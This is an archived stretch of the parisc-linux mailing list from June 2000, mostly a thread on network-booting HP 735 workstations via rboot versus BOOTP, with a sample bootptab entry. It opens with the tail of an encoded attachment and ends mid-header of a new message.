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
lleuzZoA9U1vdtiz/weXE2xAQjwBAA==
--1024065794-381068437-961596434=:19417--


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Darcy Buskermolen <darcy@ok-connect.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735 and rboot
Date: Wed, 21 Jun 2000 16:53:23 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <3.0.32.20000621165322.01cc8100@mail.ok-connect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618967 1056 80.91.229.3 (22 Nov 2014 01:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: darcy@ok-connect.com  Wed Jun 21 17:49:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA31634
	for <parisc-linux@puffin.external.hp.com>; Wed, 21 Jun 2000 17:49:56 -0600
Original-Received: (qmail 16456 invoked by uid 15267); 21 Jun 2000 23:51:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16426 invoked from network); 21 Jun 2000 23:51:02 -0000
Original-Received: from radius.wavefire.com (139.142.95.252)
  by mailserv2.iuinc.com with SMTP; 21 Jun 2000 23:51:02 -0000
Original-Received: (qmail 11362 invoked from network); 21 Jun 2000 23:50:54 -0000
Original-Received: from ccliii.caniserv.com (HELO dbitech) (darcyb@139.142.95.253)
  by radius.wavefire.com with SMTP; 21 Jun 2000 23:50:54 -0000
X-Sender: darcyb@mail.ok-connect.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:7444

Has anybody gotten pa-linux to boot via rboot ?

My old 735/125's only give me the rboot option  for booting from the
network (which I have never before used). 

if someone has instructions for this that would be extreamly helpful
however, Any information would be useful


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Strauss <strauss@astracom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and rboot
Date: Thu, 22 Jun 2000 09:05:23 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3951BAB3.F8FCC7AA@astracom.net>
References: <3.0.32.20000621165322.01cc8100@mail.ok-connect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618967 1061 80.91.229.3 (22 Nov 2014 01:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Darcy Buskermolen <darcy@ok-connect.com>
Original-X-From: strauss@astracom.net  Thu Jun 22 01:05:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA01836
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 01:05:23 -0600
Original-Received: (qmail 9471 invoked by uid 15267); 22 Jun 2000 07:06:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9407 invoked from network); 22 Jun 2000 07:06:12 -0000
Original-Received: from tower.ti.com (192.94.94.5)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 07:06:12 -0000
Original-Received: from dlep6.itg.ti.com ([157.170.188.9])
	by tower.ti.com (8.10.1/8.10.1) with ESMTP id e5M75cH03140;
	Thu, 22 Jun 2000 02:05:38 -0500 (CDT)
Original-Received: from dlep6.itg.ti.com (localhost [127.0.0.1])
	by dlep6.itg.ti.com (8.9.3/8.9.3) with ESMTP id CAA06733;
	Thu, 22 Jun 2000 02:05:32 -0500 (CDT)
Original-Received: from jupiter.mktg.tide.ti.com (jupiter.mktg.tide.ti.com [137.167.205.45])
	by dlep6.itg.ti.com (8.9.3/8.9.3) with ESMTP id CAA06692;
	Thu, 22 Jun 2000 02:05:26 -0500 (CDT)
Original-Received: from astracom.net (judy.mktg.tide.ti.com [137.167.205.26])
	by jupiter.mktg.tide.ti.com (8.8.8/8.8.8) with ESMTP id JAA22957;
	Thu, 22 Jun 2000 09:05:28 +0200 (MET DST)
Original-Sender: alex@mktg.tide.ti.com
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 i86pc)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7445

Darcy,

the 735's are not using RBOOT anymore - they're using the standard BOOTP
protocol. For more information, see the comments in any standard
/etc/bootptab template or the bootp manual pages. A sample entry should
look like this

<hostname>:\
        :hd=<tftp-directory>:\
        :bf=<bootfile>:\
        :ht=ether:\
        :ha=<mac-addr>:\
        :sm=<subnet-mask>:\
        :hn:\
        :ip=<ip-address>:\
        :vm=rfc1048:

If bootpd and tftpd are ready, you can try to boot your HP with a "boot
lan" command, also the BOOTP server should be visible when searching for
bootable devices...

Regards,
Alex


Darcy Buskermolen wrote:
> 
> Has anybody gotten pa-linux to boot via rboot ?
> 
> My old 735/125's only give me the rboot option  for booting from the
> network (which I have never before used).
> 
> if someone has instructions for this that would be extreamly helpful
> however, Any information would be useful
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
best regards,
Alexander Strauss <strauss@astracom.net>


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Darcy Buskermolen <darcy@ok-connect.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and rboot
Date: Thu, 22 Jun 2000 08:27:40 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <3.0.32.20000622082740.03e0cd30@mail.ok-connect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618967 1064 80.91.229.3 (22 Nov 2014 01:16:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alexander Strauss <strauss@astracom.net>
Original-X-From: darcy@ok-connect.com  Thu Jun 22 09:24:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA06254
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 09:24:12 -0600
Original-Received: (qmail 29364 invoked by uid 15267); 22 Jun 2000 15:25:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29348 invoked from network); 22 Jun 2000 15:25:19 -0000
Original-Received: from radius.wavefire.com (139.142.95.252)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 15:25:19 -0000
Original-Received: (qmail 298 invoked from network); 22 Jun 2000 15:25:12 -0000
Original-Received: from ccliii.caniserv.com (HELO dbitech) (darcyb@139.142.95.253)
  by radius.wavefire.com with SMTP; 22 Jun 2000 15:25:12 -0000
X-Sender: darcyb@mail.ok-connect.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Xref: news.gmane.org gmane.linux.ports.parisc:7446

My 735 uses rboot, I've confirmed this by using tcpdump and ethernet
protocol analysis tools, when I type boot lan.ether-adder.0.0 it is infact
doing a rboot and not tftp or bootp.





At 09:05 AM 6/22/00 +0200, you wrote:
>Darcy,
>
>the 735's are not using RBOOT anymore - they're using the standard BOOTP
>protocol. For more information, see the comments in any standard
>/etc/bootptab template or the bootp manual pages. A sample entry should
>look like this
>
><hostname>:\
>        :hd=<tftp-directory>:\
>        :bf=<bootfile>:\
>        :ht=ether:\
>        :ha=<mac-addr>:\
>        :sm=<subnet-mask>:\
>        :hn:\
>        :ip=<ip-address>:\
>        :vm=rfc1048:
>
>If bootpd and tftpd are ready, you can try to boot your HP with a "boot
>lan" command, also the BOOTP server should be visible when searching for
>bootable devices...
>
>Regards,
>Alex
>
>
>Darcy Buskermolen wrote:
>> 
>> Has anybody gotten pa-linux to boot via rboot ?
>> 
>> My old 735/125's only give me the rboot option  for booting from the
>> network (which I have never before used).
>> 
>> if someone has instructions for this that would be extreamly helpful
>> however, Any information would be useful
>> 
>> ---------------------------------------------------------------------------
>> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>> `unsubscribe' as the subject.
>
>-- 
>best regards,
>Alexander Strauss <strauss@astracom.net>
>
>


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tara Dear <tdear@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and rboot
Date: Thu, 22 Jun 2000 12:22:29 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <39526775.B756B546@linuxcare.com>
References: <3.0.32.20000621165322.01cc8100@mail.ok-connect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618968 1067 80.91.229.3 (22 Nov 2014 01:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Darcy Buskermolen <darcy@ok-connect.com>
Original-X-From: tdear@linuxcare.com  Thu Jun 22 10:24:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA06978
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 10:23:51 -0600
Original-Received: (qmail 28616 invoked by uid 15267); 22 Jun 2000 16:24:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28597 invoked from network); 22 Jun 2000 16:24:49 -0000
Original-Received: from unknown (HELO tdear.linuxcare.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 16:24:49 -0000
Original-Received: from linuxcare.com (localhost.localdomain [127.0.0.1])
	by tdear.linuxcare.com (Postfix) with ESMTP
	id EC62A8805; Thu, 22 Jun 2000 12:22:29 -0700 (PDT)
Original-Sender: tdear@tdear.linuxcare.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7447

Some good instructions:

 http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-boot.html



-TARA



Darcy Buskermolen wrote:

> Has anybody gotten pa-linux to boot via rboot ?
>
> My old 735/125's only give me the rboot option  for booting from the
> network (which I have never before used).
>
> if someone has instructions for this that would be extreamly helpful
> however, Any information would be useful
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and rboot
Date: Thu, 22 Jun 2000 12:03:01 -0400
Lines: 96
Approved: news@gmane.org
Message-ID: <85256906.0058CF14.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618968 1071 80.91.229.3 (22 Nov 2014 01:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:08 +0000 (UTC)
Cc: davisg@Celestica.com
To: parisc-linux@thepuffingroup.com
Original-X-From: davisg@Celestica.com  Thu Jun 22 10:34:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA07218
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 10:34:54 -0600
Original-Received: (qmail 9182 invoked by uid 15267); 22 Jun 2000 16:36:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9172 invoked from network); 22 Jun 2000 16:36:03 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 16:36:03 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id MAA195146 for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 12:33:15 -0500
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id MAA22210 for <parisc-linux@thepuffingroup.com>; Thu, 22 Jun 2000 12:33:07 -0500
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id MAA33224; Thu, 22 Jun 2000 12:35:28 -0400 (EDT)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 85256906.00592190 ; Thu, 22 Jun 2000 12:13:32 -0400
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7448



Oops, forgot to send this to the list.
---------------------- Forwarded by George G Davis/CCH/Celestica on 06/22/2000
12:00 PM ---------------------------


George G Davis
06/22/2000 11:57 AM

To:   Alexander Strauss <strauss@astracom.net>
cc:

Subject:  Re: [parisc-linux] 735 and rboot  (Document link: George G Davis)


The Model 735 does indeed still use rboot for booting via LAN and always will -
the rboot
protocol is embedded in the platform LAN IODC firmware. If you're using HP-UX
10.0 or
later as the LAN boot server, you can enable the rbootd server to handle boot
requests
from rboot clients. The HP-UX (10.0 or later) rbootd server converts the rboot
packets to
bootp and forwards them to the bootpd server.

I'm not aware of how to support rboot clients on non-HP-UX boot servers.

Regards,
George




Alexander Strauss <strauss@astracom.net> on 06/22/2000 03:05:23 AM

To:   Darcy Buskermolen <darcy@ok-connect.com>
cc:   parisc-linux@thepuffingroup.com (bcc: George G Davis/CCH/Celestica)

Subject:  Re: [parisc-linux] 735 and rboot



Darcy,

the 735's are not using RBOOT anymore - they're using the standard BOOTP
protocol. For more information, see the comments in any standard
/etc/bootptab template or the bootp manual pages. A sample entry should
look like this

<hostname>:\
        :hd=<tftp-directory>:\
        :bf=<bootfile>:\
        :ht=ether:\
        :ha=<mac-addr>:\
        :sm=<subnet-mask>:\
        :hn:\
        :ip=<ip-address>:\
        :vm=rfc1048:

If bootpd and tftpd are ready, you can try to boot your HP with a "boot
lan" command, also the BOOTP server should be visible when searching for
bootable devices...

Regards,
Alex


Darcy Buskermolen wrote:
>
> Has anybody gotten pa-linux to boot via rboot ?
>
> My old 735/125's only give me the rboot option  for booting from the
> network (which I have never before used).
>
> if someone has instructions for this that would be extreamly helpful
> however, Any information would be useful
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

--
best regards,
Alexander Strauss <strauss@astracom.net>

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.








From - Thu Nov 08 21:12:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Optimization problems
Date: Thu, 22 Jun 2000 12:20:02 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20000622182002.B84C337E22@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_1275400460"
X-Trace: ger.gmane.org 1416618968 1078 80.91.229.3 (22 Nov 2014 01:16:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:08 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Jun 22 12:17:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08060
	for <parisc-linux@puffin.external.hp.com>; Thu, 22 Jun 2000 12:17:29 -0600
Original-Received: (qmail 24069 invoked by uid 15267); 22 Jun 2000 18:18:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24002 invoked from network); 22 Jun 2000 18:18:33 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 22 Jun 2000 18:18:33 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
